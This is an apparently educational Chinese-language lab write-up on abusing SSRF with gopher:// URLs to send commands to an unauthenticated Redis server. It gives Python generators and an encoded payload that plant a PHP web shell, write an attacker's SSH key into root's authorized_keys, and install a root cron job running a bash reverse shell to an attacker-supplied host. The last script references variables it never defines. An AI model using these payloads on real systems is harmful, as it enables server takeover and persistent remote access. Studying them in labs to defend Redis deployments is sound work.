gopher://
協議,可以利用這個協議配合Redis來做到Remote Controll Execute
SET mykey "Hello"
GET mykey
"Hello"
type | symbol |
---|---|
Simple Strings | + |
Error | - |
Integer | : |
Bulk Strings | $ |
Array | * |
看一個範例
set name test
get name
我們看一下封包的樣子
*3
,代表陣列長度為3,$3
, $4
代表字串長度,0d0a
代表結尾\r\n
,+OK
代表傳輸成功*3
$3
set
$4
name
$4
test
+OK
gopher://
是在HTTP之前的協議,雖然現在用的很少
加上gophar,利用協議可以打內網redis
, ftp
等等
流程
redis-command
=> 轉成RESP
的格式 => 丟到送出gophar://
docker
docker ps # 查詢該個container的編號
docker exec -it [ssrf-lab/basics container] /bin/bash # 進入container的bash
apt install redis-server # 安裝redis
redis-server #啟動redis server
gophar
可以在未授權的情況下,access到Redis
的server
$
, *
...構成的格式Web shell
flushall
set 1 '<?php ($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
Redis-cli
語法轉成RESP
協議的樣子,很香
import urllib.parse
# 參考自: https://xz.aliyun.com/t/5665#toc-0
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php system($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
感謝參考文章當中大大提供的payload
gophar://
能變成以下這個形式
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
構造redis-cli payload
flushall
set 1 '<your_public_key>'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
code可以改成這樣
protocol="gopher://"
ip="127.0.0.1"
port="6379"
# filename="shell.php"
# path="/var/www/html"
path="/root/.ssh/"
filename="authorized_keys"
ssh_pub="<your_public_key>"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
透過工具進行轉換成RESP
成功把public key寫入
因為有個人資訊,因此碼了部分code
:::warning
此手法只能用在Centos上,Ubuntu上會失敗
此Lab是用Ubuntu作為基底環境,因此我就不做示範,提供下方payload給各位參考
:::
因為redis寫文件是644
的權限
Ubuntu-crontab
權限必須要600
才能執行,否則會出現(root) INSECURE MODE (mode 0600 expected)
Centos
的crontab權限是644
redis-cli payload
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/<ip>/<port> 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
轉成RESP code
protocol="gopher://"
reverse_ip="<your_rev_ip>"
reverse_port="<your_listen_port>"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)